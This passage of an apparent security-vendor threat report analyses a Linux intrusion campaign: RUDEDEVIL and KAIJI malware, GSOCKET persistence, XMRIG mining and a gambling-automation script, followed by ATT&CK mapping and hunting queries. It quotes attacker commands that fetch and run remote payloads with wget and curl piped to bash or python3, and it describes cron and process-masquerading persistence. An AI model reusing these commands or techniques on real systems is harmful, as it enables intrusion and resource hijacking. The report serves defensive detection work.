C2" /></p> <p>Additionally, the function checks whether a particular process is running on the system and adjusts its formatted message accordingly. Finally, it sends this formatted data back to the command-and-control server via a socket connection.</p> <p>In essence, this function allows the malware to remotely monitor the infected machine, gathering key details like CPU load and network activity. The operators can use this information to assess the status of their infection and adjust their activities as needed.</p> <h3>Connecting to the Command-and-Control (C2) Server</h3> <p>Once all the threads are up and running, the malware shifts its focus to establishing a connection with its C2 server. This is managed by the <code>ConnectServer</code> function in the main thread, which handles communication with the server and executes commands remotely.</p> <h4>Understanding the ConnectServer Function</h4> <p>The first task the <code>ConnectServer</code> function performs is establishing a connection to the C2 server using <code>ServerConnectCli</code>. After successfully connecting, the malware configures the socket to enable keep-alive settings, ensuring that the connection remains stable over extended periods of time.</p> <p>Once the connection is set up, the malware collects various pieces of system information, including the hostname, user information, CPU specs, and memory details. This information is then sent to the server as an initial data payload, providing the attackers with a detailed view of the infected machine.</p> <p>After this initial setup, the malware enters an ongoing loop where it awaits and processes commands from the server. The types of commands handled are varied and can include tasks like launching a DDoS attack, stopping or starting CPU-intensive operations, executing system commands, or managing cryptocurrency mining activities. The loop continues indefinitely, ensuring that the malware is ready to execute any command sent by its operators.</p> <p>When the connection is no longer needed, or when the malware receives a termination command, it gracefully closes the socket, ending the session with the server.</p> <h4>Command-and-Control (C2) Commands</h4> <p>The <code>ConnectServer</code> function processes a variety of commands from the C2 server, each designed to control a different aspect of the infected system. Here’s a breakdown of the commands handled by the malware:</p> <ul> <li><strong>Case 4:</strong> The malware calls the <code>DealwithDDoS</code> function, likely initiating a Distributed Denial of Service (DDoS) attack.</li> <li><strong>Case 5:</strong> Sets the <code>StopFlag</code> to <code>1</code>, which could signal the malware to stop specific tasks.</li> <li><strong>Case 6:</strong> Downloads a file from the server using <code>http_get</code>, changes its permissions, and then executes it. This command allows the attackers to run additional malware or scripts on the infected machine.</li> <li><strong>Case 7:</strong> Executes a system command using the <code>system</code> function, providing the attackers with direct control over the system’s command line.</li> <li><strong>Case 8:</strong> Sets <code>StopCpu</code> to <code>0</code>, restarting any previously halted CPU tasks.</li> <li><strong>Case 9:</strong> Sets <code>StopCpu</code> to <code>1</code>, halting all CPU tasks.</li> <li><strong>Case 0xA:</strong> Updates the CPU mining configuration with new data and retrieves the PID of the current process, allowing the malware to modify its cryptocurrency mining operations.</li> <li><strong>Case 0xB:</strong> Sets <code>stopxmr</code> to <code>1</code>, effectively stopping the XMRIG miner.</li> <li><strong>Case 0xC:</strong> Resets <code>stopxmr</code> to <code>0</code> and retrieves the current process PID, resuming the mining activity.</li> </ul> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image19.png" alt="Processing of C2 commands" title="Processing of C2 commands" /></p> <p>Each command gives the malware operators precise control over how the infected machine behaves, whether it’s participating in a DDoS attack, running new malware, or managing mining operations.</p> <h3>Variants of RUDEDEVIL Malware and XMRIG Configuration</h3> <p>While the file server mentioned before was active, we observed multiple versions of the RUDEDEVIL malware being uploaded. The core functionality of these versions remained largely the same, with the only significant variation being the embedded XMRIG commands used for cryptocurrency mining.</p> <p>Each version of the malware was configured to connect to the same mining pool, <code>c3pool.org</code>, but with slight differences in the parameters passed to the XMRIG miner:</p> <ul> <li><code>-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R</code></li> <li><code>-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2</code></li> <li><code>-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php</code></li> <li><code>-o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0</code></li> </ul> <p>Each of these commands directs the miner to connect to the same mining pool but specifies different wallets or configurations. By examining the <code>c3pool</code> application, we confirmed that both XMR addresses associated with these commands are currently active and mining.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image9.png" alt="C3pool mining revenue" title="C3pool mining revenue" /></p> <p>Additionally, through this analysis, we were able to estimate the total profit generated by these two mining campaigns, highlighting the financial impact of the RUDEDEVIL malware and its connection to illegal cryptocurrency mining operations.</p> <h2>GSOCKET</h2> <p>To establish persistence, the threat actor downloaded and installed <a href="https://github.com/hackerschoice/gsocket">GSOCKET</a>, a network utility designed to enable encrypted communication between machines that are behind firewalls or NAT. GSOCKET creates secure, persistent connections through the Global Socket Relay Network (GSRN). This open-source tool includes features like AES-256 encryption, support for end-to-end communication security, and compatibility with SSH, netcat, and TOR, which allow for encrypted file transfers, remote command execution, and even the creation of hidden services.</p> <p>Although GSOCKET is not inherently malicious, its features can be leveraged for suspicious purposes.</p> <p>Once deployed, GSOCKET performs several actions to maintain persistence and conceal its presence. First, it checks the system for active kernel processes to decide which process it will masquerade as:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image7.png" alt="GSOCKET Kernel Process Masquerading" title="GSOCKET Kernel Process Masquerading" /></p> <p>It then creates the <code>/dev/shm/.gs-1000</code> directory to download and store its binary in shared memory. Additionally, by default, it sets up an <code>/htop</code> directory under <code>/home/user/.config/htop/</code> to store both the GSOCKET binary and the secret key used for its operations.</p> <p>Next, a cron job that runs the GSOCKET binary with the secret key every minute is set up.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image21.png" alt="GSOCKET Crontab Persistence" title="GSOCKET Crontab Persistence" /></p> <p>The binary is executed under the name of a kernel process using the <code>exec -a [process_name]</code> command, further enhancing the ability to evade detection. The cron job includes a base64 encoded command that, when decoded, ensures the persistence mechanism is regularly executed and disguised as a legitimate kernel process:</p> <p>When decoding the payload, we see how the <code>defunct.dat</code> secret key is used as an argument to execute the <code>defunct</code> binary, which is masqueraded as <code>[raid5wq]</code> through the use of <code>exec -a </code>command:</p> <p>In addition to using cron jobs, GSOCKET has the capability to establish persistence through shell profile modification, run control (<code>rc.local</code>) and Systemd. GSOCKET enumerates potential persistence locations:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image29.png" alt="GSOCKET Persistence Technique Enumeration" title="GSOCKET Persistence Technique Enumeration" /></p> <p>GSOCKET supports multiple webhooks, such as Telegram or Discord integrations, enabling remote control and notifications:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image14.png" alt="GSOCKET Webhook Capabilities" title="GSOCKET Webhook Capabilities" /></p> <p>Finally, after installation, GSOCKET ensures that all files that are created or modified, will be timestomped to attempt to erase any trace of installation:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image16.png" alt="GSOCKET Timestomping Capability" title="GSOCKET Timestomping Capability" /></p> <p>These features make GSOCKET an attractive tool for threat actors seeking stealth and persistence. In this campaign, GSOCKET was exploited to establish covert channels back to C2 servers while attempting to evade detection.</p> <p>Additionally, a PHP payload was fetched from an external IP and saved as <code>404.php</code>, likely functioning as a backdoor for future access. We did not manage to obtain this payload.</p> <h3>Post compromise dwell time</h3> <p>After a three-week period of quiet with no noticeable activity, the threat actors resumed operations by utilizing the built-in Python3 to establish a reverse connection to a new command-and-control server.</p> <p>After regaining access to the host, a newer version of the KAIJI malware was deployed.</p> <h3>KAIJI malware: a comparison to previous samples</h3> <p>While investigating the files on the discovered file server, we saw a shell script. This shell script seems to be the main file used to download by an earlier stage, ensuring the correct architecture for the victim is used.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image2.png" alt="KAIJI Download.sh Script" title="KAIJI Download.sh Script" /></p> <p>The same Shell script is found in other reports where this script is used to deploy KAIJI.</p> <p>As part of our investigation, we analyzed the KAIJI malware samples found on the file server and compared them with samples identified by Black Lotus Labs in 2022. Their detailed analysis of <code>Chaos</code> (KAIJI) can be found in their blog post<a href="https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/"> here</a>.</p> <p>Using <a href="https://github.com/google/bindiff">BinDiff</a>, a binary comparison tool, we compared the functions in the binaries. The analysis revealed that the code in our sample was identical to the previously identified KAIJI sample from 2022.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image18.png" alt="Bindiff for Old and New Version of KAIJI" title="Bindiff for Old and New Version of KAIJI" /></p> <p>Although the code was the same, one critical difference stood out: the C2 server address. Although the functionality remained consistent in both binaries, they pointed to different C2 domains.</p> <p>Delving deeper into the disassembly, we identified a function named <code>main_Link</code>. This function is responsible for decoding the C2 server address used by the malware.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image31.png" alt="KAIJI main_link Function" title="KAIJI main_link Function" /></p> <p>Once decoded, the function searches for the <code>|(odk)/*-</code> postfix in the address and removes it, leaving only the C2 domain and port. This process ensures the malware can communicate with its C2 server, though the address it contacts may change between samples.</p> <p>Given that some resources have been published that statically reverse engineer KAIJI, we will instead take a more detailed look at its behaviors.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image12.png" alt="KAIJI Dynamic Analysis - Part 1" title="KAIJI Dynamic Analysis - Part 1" /></p> <p>After execution, KAIJI creates several files in the <code>/etc/</code> and <code>/dev/</code> directories, <code>/etc/id.services.conf</code>, <code>/etc/32678</code>, <code>/dev/.img</code> and <code>/dev/.old</code>. These scripts are places to establish persistence.</p> <p>Two services are set up, <code>/etc/init.d/linux_kill</code> and <code>crond.service</code>. <code>crond.service</code> is executed by Systemd, while <code>linux_kill</code> is used for SysVinit persistence.</p> <p>After reloading the Systemd daemon, the first network connection to the C2 is attempted.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image18.png" alt="KAIJI Dynamic Analysis - Part 2" title="KAIJI Dynamic Analysis - Part 2" /></p> <p>Next, the <code>Systemd Late generator</code> service file is created. More information on the workings of <code>Systemd</code>, and different ways of establishing persistence through this method can be found in our recent blog series dubbed <a href="https://www.elastic.co/security-labs/primer-on-persistence-mechanisms">Linux Detection Engineering - A primer on persistence mechanisms</a>.</p> <p>KAIJI creates the <code>/boot/System.img.config</code> file, which is an executable that is executed through the previously deployed <code>Systemd</code> services. This binary, is amongst other binaries, another way of establishing persistence.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image26.png" alt="KAIJI Dynamic Analysis - Part 3" title="KAIJI Dynamic Analysis - Part 3" /></p> <p>Next, KAIJI adjusts the <code>SELinux</code> policies to allow unauthorized actions. It searches audit logs for denied operations related to <code>System.img.conf</code>, generates a new <code>SELinux</code> policy to permit these actions, and installs the policy with elevated priority. By doing this, the malware bypasses security restrictions that would normally block its activity.</p> <p>Additionally, it sets up multiple additional forms of persistence through bash profiles, and creates another two malicious artifacts; <code>/usr/lib/libd1rpcld.so</code> and <code>/.img</code>.</p> <p>Right after, <code>/etc/crontab</code> is altered through an echo command, ensuring that the <code>/.img</code> file is executed by root on a set schedule.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image20.png" alt="KAIJI Dynamic Analysis - Part 4" title="KAIJI Dynamic Analysis - Part 4" /></p> <p>KAIJI continues to move several default system binaries to unusual locations, attempting to evade detection along the way.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image17.png" alt="KAIJI Dynamic Analysis - Part 5" title="KAIJI Dynamic Analysis - Part 5" /></p> <p>KAIJI uses the <code>renice</code> command to grant PID <code>2957</code>, one of KAIJI's planted executables, the highest possible priority (on a scale of -20 to 19, lowest being the highest priority), ensuring it gets more CPU resources than other processes.</p> <p>To evade detection, KAIJI employed the bind mount technique, a defense evasion method that obscures malicious activities by manipulating how directories are mounted and viewed within the system.</p> <p>Finally, we see a trace of <code>cron</code> executing the <code>/.img</code>, which was planted in the <code>/etc/crontab</code> file earlier.</p> <h2>The saga continues</h2> <p>Two weeks later, the Apache backdoor became active again. Another backdoor was downloaded via the <code>www-data</code> user through the Apache2 process using the command:</p> <pre><code>sh -c wget http://91.92.241[.]103:8002/gk.php </code></pre> <p>The contents of this payload remain unknown. At this stage, we observed attempts at manual privilege escalation, with the attackers deploying <code>pspy64</code>. <code>Pspy</code> is a command-line tool for process snooping on Linux systems without requiring root permissions. It monitors running processes, including those initiated by other users, and captures events like cron job executions. This tool is particularly useful for analyzing system activity, spotting privilege escalation attempts, and auditing the commands and file system interactions triggered by processes in real time. It's commonly leveraged by attackers for reconnaissance in post-compromise scenarios, giving them visibility into system tasks and potential vulnerabilities.</p> <p>Notably, <code>pspy64</code> was executed by the <code>[rcu_preempt]</code> parent, indicating that the threat actors had transitioned from leveraging the web server backdoor to using the GSOCKET backdoor.</p> <p>Further attempts at privilege escalation involved exploiting <code>CVE-2021-4034</code>, also known as <code>pwnkit</code>. This vulnerability affects the <code>pkexec</code> component of the PolicyKit package in Linux systems, allowing an unprivileged user to execute arbitrary code with root privileges. By leveraging this flaw, an attacker can gain elevated access to the system, potentially leading to full control over the affected machine.</p> <h3>Custom built binaries</h3> <p>Right after, the attackers attempted to download a custom-built malware named <code>apache2</code> and <code>apache2v86</code> from:</p> <ul> <li><code>http://62.72.22[.]91/apache2</code></li> <li><code>http://62.72.22[.]91/apache2v86</code></li> </ul> <p>We obtained copies of these files, which currently have zero detections on VirusTotal. However, when executing them dynamically, we observed segmentation faults, and our telemetry confirmed segfault activity on the compromised host. Over a week, the threat actor attempted to alter, upload and execute these binaries more than 15 times, but due to repeated segfaults, it is unlikely that they succeeded in running this custom malware.</p> <p>While the binaries failed to execute, they still provided valuable insights during reverse engineering. We uncovered several XOR-encoded strings within the samples.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image33.png" alt="Apache2 XOR-Encoded Strings" title="Apache2 XOR-Encoded Strings" /></p> <p>The XOR key used to encode the strings was identified as <code>0x79</code> (or the character <code>y</code>). After decoding the strings, we discovered fragments of an HTTP request header that the malware was attempting to construct:</p> <pre><code>/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1 sec-ch-ua: "Chromium";v="122", "Google Chrome";v="122", "Not-A.Brand";v="99 sec-ch-ua-platform: "Windows" upgrade-insecure-requests: 1 accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 referer: https://twitter[.]com accept-language: ru,en-US;q=0.9 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0. </code></pre> <p>This indicates that the malware was in the process of constructing HTTP requests. However, based on the incomplete nature of the headers and the repeated failures in execution, it’s clear that this piece of software was not yet fully developed or operational.</p> <h3>Additional reconnaissance</h3> <p>The attackers continued to use tools from The Hacker’s Choice, by downloading and executing <a href="https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/whatserver.sh"><code>whatserver.sh</code></a>.</p> <p>This Shell script is designed to gather and display server information. It extracts details such as the fully qualified domain names (FQDNs) from SSL certificates, Nginx, and Apache configuration files, along with system resource information like CPU and memory usage, virtualization details, and network settings. The script can also summarize recent activities, including last logged-in users and currently listening services.</p> <h3>Mining activities</h3> <p>After nearly two weeks of manual exploitation attempts, the threat actors ceased their efforts to escalate privileges, likely having failed to gain root access. Instead, they established persistence as the <code>www-data</code> user, leveraging GSOCKET to set up an SSL connection, which was disguised as a kernel process called <code>[mm_percpu_wq]</code>.</p> <p>After decoding the base64 contents, we get a very familiar looking output:</p> <p>Through our behavioral rules, we see the threat actor listing the current user’s crontab entries, and echoing a payload directly into the crontab.</p> <p>This command tries to download <code>http://gcp.pagaelrescate[.]com:8080/ifindyou</code> every minute, and pipe it to bash. Looking at the contents of <code>ifindyou</code>, we see the following Bash script:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image8.png" alt="Stage 1 - ifindyou.sh" title="Stage 1 - ifindyou.sh" /></p> <p>This script gathers hostname and IP information, downloads the <code>SystemdXC</code> archive from <code>http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC</code> (XMRIG), stores this in <code>/tmp/SystemdXC</code>, extracts the archive and executes it with the necessary parameters to start mining Bitcoin.</p> <p>When examining the mining command, we can see how the malware configures XMRIG:</p> <p>This command connects to the <code>unmineable.com</code> mining pool, using the infected machine’s hostname as an identifier in the mining process. At the time of writing, there are 15 active workers mining Bitcoin for the wallet address <code>1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image1.png" alt="Bitcoin Address Lookup" title="Bitcoin Address Lookup" /></p> <p>Upon further investigation into the Bitcoin address, we found that this address has performed a single transaction.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image32.png" alt="Bitcoin Transaction" title="Bitcoin Transaction" /></p> <p>Interestingly, the output address for this transaction points to a well-known <a href="https://www.ledger.com/academy/topics/security/hot-wallet-vs-cold-crypto-wallet-whats-the-difference">hot wallet</a> associated with Binance, indicating that the attackers may have transferred their mining earnings to an exchange platform.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image10.png" alt="Binance Wallet Destination" title="Binance Wallet Destination" /></p> <p>When returning our focus back to the script, we also see two commands commented out, which will become more clear later. The script executes:</p> <pre><code>curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash </code></pre> <p>Looking at this payload, we can see the following contents:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image23.png" alt="Stage 2 - cycnet.sh" title="Stage 2 - cycnet.sh" /></p> <p>This stage checks the output of the command, and sends this to a Telegram chat bot. Through our Telegram behavioral rule, we can see that a Telegram POST request looks like this:</p> <p>The cron job that is set up during this stage executes at minute 0, every 4th hour. This job executes:</p> <pre><code>curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3 </code></pre> <p>The downloaded Python script automates interactions with an online gambling game through HTTP requests. The script includes functions that handle user authentication, betting, processing the outcomes, and sending data to a remote server.</p> <p>Upon closer examination, we identified the following key components of the script:</p> <p><strong>Global Variables:</strong></p> <ul> <li><code>usuario</code>: Stores the user ID for managing the session.</li> <li><code>apuesta</code>: Represents the bet amount.</li> <li><code>ganancias</code>: Tracks the winnings and losses.</li> <li><code>saldo_actual</code>: Holds the current account balance.</li> </ul> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image3.png" alt="enviador_slot Global Variables" title="enviador_slot Global Variables" /></p> <h4>Understanding the <code>obteneruid</code> Function</h4> <p>This function authenticates the user by sending a POST request with the necessary headers and JSON data to the remote server. If the user is not already set, it initializes a new session and retrieves the account balance. Upon successful authentication, it returns a session UUID, which is used for further interactions in the game.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image27.png" alt="enviador_slot obteneruid Function" title="enviador_slot obteneruid Function" /></p> <h4>Understanding the <code>enviardatos</code> Function</h4> <p>This function sends game data or status updates back to <code>gcp.pagaelrescate[.]com</code>, logging the results or actions taken during gameplay. It uses a simple GET request to transmit this data to the remote server.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image4.png" alt="enviador_slot enviardatos Function" title="enviador_slot enviardatos Function" /></p> <h4>Understanding the <code>hacerjugada</code> Function</h4> <p>The <code>hacerjugada</code> function simulates the betting process for a set number of rounds. It sends POST requests to place bets, updates the winnings or losses after each round, and calculates the overall results. If a bonus round is triggered, it calls <code>completarbono()</code> to handle any bonus game details. Between each betting round, the function enforces a 30-second delay to mimic natural gameplay and avoid detection.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image28.png" alt="enviador_slot hacerjugada Function" title="enviador_slot hacerjugada Function" /></p> <h4>Understanding the <code>completarbono</code> Function</h4> <p>When a bonus round is triggered, this function completes the round by sending a request containing the session ID and round ID. Based on the result, it updates the account balance and logs the winnings or losses. Any change in the balance is sent back to the remote server using the <code>enviardatos()</code> function.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image6.png" alt="enviador_slot completarbono Function" title="enviador_slot completarbono Function" /></p> <h4>Likely Used for Testing Purposes</h4> <p>It’s important to note that this script is likely being used for testing purposes, as it interacts with the demo version of the gambling app. This suggests that the attackers might be testing the automation of gambling actions or trying to find vulnerabilities in the app before moving to the live version. The use of a demo environment implies they are refining their approach, potentially in preparation for more sophisticated or widespread attacks.</p> <h2>REF6138 through MITRE ATT&CK</h2> <p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks. During this investigation, we identified the following tactics, techniques and sub-techniques:</p> <p><em>MITRE ATT&CK tactics, techniques and sub-techniques used</em></p> <table> <thead> <tr> <th>Tactic</th> <th>Technique</th> <th>Sub-Technique</th> </tr> </thead> <tbody> <tr> <td>Resource Development</td> <td>T1587: Develop Capabilities</td> <td>Malware</td> </tr> <tr> <td></td> <td>T1588: Obtain Capabilities</td> <td>Tool</td> </tr> <tr> <td></td> <td>T1608: Stage Capabilities</td> <td>Upload Malware</td> </tr> <tr> <td></td> <td></td> <td>Upload Tool</td> </tr> <tr> <td>Initial Access</td> <td>T1190: Exploit Public-Facing Application</td> <td></td> </tr> <tr> <td>Execution</td> <td>T1059: Command and Scripting Interpreter</td> <td>Unix Shell</td> </tr> <tr> <td></td> <td></td> <td>Python</td> </tr> <tr> <td></td> <td>T1053: Scheduled Task/Job</td> <td>Cron</td> </tr> <tr> <td>Persistence</td> <td>T1546: Event Triggered Execution</td> <td>Unix Shell Configuration Modification</td> </tr> <tr> <td></td> <td>T1053: Scheduled Task/Job</td> <td>Cron</td> </tr> <tr> <td></td> <td>T1505: Server Software Component</td> <td>Web Shell</td> </tr> <tr> <td>Privilege Escalation</td> <td>T1068: Exploitation for Privilege Escalation</td> <td></td> </tr> <tr> <td>Defense Evasion</td> <td>T1140: Deobfuscate/Decode Files or Information</td> <td></td> </tr> <tr> <td></td> <td>T1222: File and Directory Permissions Modification</td> <td>Linux and Mac File and Directory Permissions Modification</td> </tr> <tr> <td></td> <td>T1564: Hide Artifacts</td> <td>Hidden Files and Directories</td> </tr> <tr> <td></td> <td>T1070: Indicator Removal</td> <td>Timestomp</td> </tr> <tr> <td></td> <td>T1036: Masquerading</td> <td>Masquerade Task or Service</td> </tr> <tr> <td></td> <td>T1027: Obfuscated Files or Information</td> <td>Software Packing</td> </tr> <tr> <td></td> <td></td> <td>Stripped Payloads</td> </tr> <tr> <td></td> <td></td> <td>Command Obfuscation</td> </tr> <tr> <td></td> <td></td> <td>Encrypted/Encoded File</td> </tr> <tr> <td>Discovery</td> <td>T1057: Process Discovery</td> <td></td> </tr> <tr> <td></td> <td>T1082: System Information Discovery</td> <td></td> </tr> <tr> <td></td> <td>T1061: System Network Configuration Discovery</td> <td></td> </tr> <tr> <td></td> <td>T1049: System Network Connections Discovery</td> <td></td> </tr> <tr> <td></td> <td>T1007: System Service Discovery</td> <td></td> </tr> <tr> <td>Collection</td> <td>T1119: Automated Collection</td> <td></td> </tr> <tr> <td></td> <td>T1005: Data from Local System</td> <td></td> </tr> <tr> <td>Command and Control</td> <td>T1071: Application Layer Protocol</td> <td>Web Protocols</td> </tr> <tr> <td></td> <td>T1132: Data Encoding</td> <td>Standard Encoding</td> </tr> <tr> <td></td> <td>T1001: Data Obfuscation</td> <td></td> </tr> <tr> <td></td> <td>T1573: Encrypted Channel</td> <td>Symmetric Cryptography</td> </tr> <tr> <td></td> <td>T1105: Ingress Tool Transfer</td> <td></td> </tr> <tr> <td></td> <td>T1571: Non-Standard Port</td> <td></td> </tr> <tr> <td></td> <td>T1572: Protocol Tunneling</td> <td></td> </tr> <tr> <td></td> <td>T1102: Web Service</td> <td></td> </tr> <tr> <td>Impact</td> <td>T1496: Resource Hijacking</td> <td></td> </tr> </tbody> </table> <h2><strong>Detecting REF6138</strong></h2> <p>Elastic Security implements a multi-layer approach to threat detection, leveraging behavioral SIEM and Endpoint rules, YARA signatures and ML-based anomaly detection approaches. This section describes the detections built by Elastic Security that play a big role in capturing the identified threats.</p> <h3>Detection</h3> <p>The following detection rules were observed throughout the analysis of this intrusion set:</p> <ul> <li><a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/execution_linux_segfault.toml">Segfault Detection</a></li> <li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/defense_evasion_timestomp_touch.toml">Timestomping using Touch Command</a></li> <li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_shell_configuration_modification.toml">Shell Configuration Creation or Modification</a></li> <li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_binary_copied_to_suspicious_directory.toml">System Binary Moved or Copied</a></li> </ul> <h3>Prevention</h3> <p>The following behavior prevention events were observed throughout the analysis of this intrusion set:</p> <ul> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_reverse_shell_via_suspicious_utility.toml">Linux Reverse Shell via Suspicious Utility</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/defense_evasion_defense_evasion_via_bind_mount.toml">Defense Evasion via Bind Mount</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_suspicious_child_process_execution_via_interactive_shell.toml">Linux Suspicious Child Process Execution via Interactive Shell</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_potential_linux_hack_tool_launched.toml">Potential Linux Hack Tool Launched</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/privilege_escalation_privilege_escalation_via_pkexec_exploitation.toml">Privilege Escalation via PKEXEC Exploitation</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/lateral_movement_potential_ssh_it_ssh_worm_downloaded.toml">Potential SSH-IT SSH Worm Downloaded</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_scheduled_job_executing_binary_in_unusual_location.toml">Scheduled Job Executing Binary in Unusual Location</a></li> </ul> <p>The following YARA Signatures are in place to detect the KAIJI and RUDEDEVIL malware samples both as file and in-memory:</p> <ul> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Generic_Threat.yar">Linux.Generic.Threat</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Hacktool_Flooder.yar">Linux.Hacktool.Flooder</a></li> </ul> <p>The following, soon to be released, endpoint rule alerts were observed throughout the analysis of this intrusion set:</p> <ul> <li>Potential Shell via Web Server</li> <li>Potential Web Server Code Injection</li> <li>Potential Shell Executed by Web Server User</li> <li>Decode Activity via Web Server</li> <li>Linux Telegram API Request</li> <li>Suspicious Echo Execution</li> </ul> <h3>Hunting queries in Elastic</h3> <p>The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p> <h4>EQL queries</h4> <p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar:</p> <p><strong>Potential XMRIG Execution</strong></p> <p>The following EQL query can be used to hunt for XMRIG executions within your environment.</p> <pre><code>process where event.type == "start" and event.action == "exec" and ( ( process.args in ("-a", "--algo") and process.args in ( "gr", "rx/graft", "cn/upx2", "argon2/chukwav2", "cn/ccx", "kawpow", "rx/keva", "cn-pico/tlo", "rx/sfx", "rx/arq", "rx/0", "argon2/chukwa", "argon2/ninja", "rx/wow", "cn/fast", "cn/rwz", "cn/zls", "cn/double", "cn/r", "cn-pico", "cn/half", "cn/2", "cn/xao", "cn/rto", "cn-heavy/tube", "cn-heavy/xhv", "cn-heavy/0", "cn/1", "cn-lite/1", "cn-lite/0", "cn/0" ) ) or ( process.args == "--coin" and process.args in ("monero", "arqma", "dero") ) ) and process.args in ("-o", "--url") </code></pre> <p><strong>MSR Write Access Enabled</strong></p> <p>XMRIG leverages modprobe to enable write access to MSR. This activity is abnormal, and should not occur by-default.</p> <pre><code>process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and process.args == "msr" and process.args == "allow_writes=on" </code></pre> <p><strong>Potential GSOCKET Activity</strong></p> <p>This activity is default behavior when deploying GSOCKET through the recommended deployment methods. Additionally, several arguments are added to the query to decrease the chances of missing a more customized intrusion through GSOCKET.</p> <pre><code>process where event.type == "start" and event.action == "exec" and process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.command_line : ( "*GS_ARGS=*", "*gs-netcat*", "*gs-sftp*", "*gs-mount*", "*gs-full-pipe*", "*GS_NOINST=*", "*GSOCKET_ARGS=*", "*GS_DSTDIR=*", "*GS_URL_BASE=*", "*GS_OSARCH=*", "*GS_DEBUG=*", "*GS_HIDDEN_NAME=*", "*GS_HOST=*", "*GS_PORT=*", "*GS_TG_TOKEN=*", "*GS_TG_CHATID=*", "*GS_DISCORD_KEY=*", "*GS_WEBHOOK_KEY=*" ) </code></pre> <p><strong>Potential Process Masquerading via Exec</strong></p> <p>GSOCKET leverages the <code>exec -a</code> method to run a process under a different name. GSOCKET specifically leverages masquerades as kernel processes, but other malware may masquerade differently.</p> <pre><code>process where event.type == "start" and event.action == "exec" and process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : "* exec -a *" 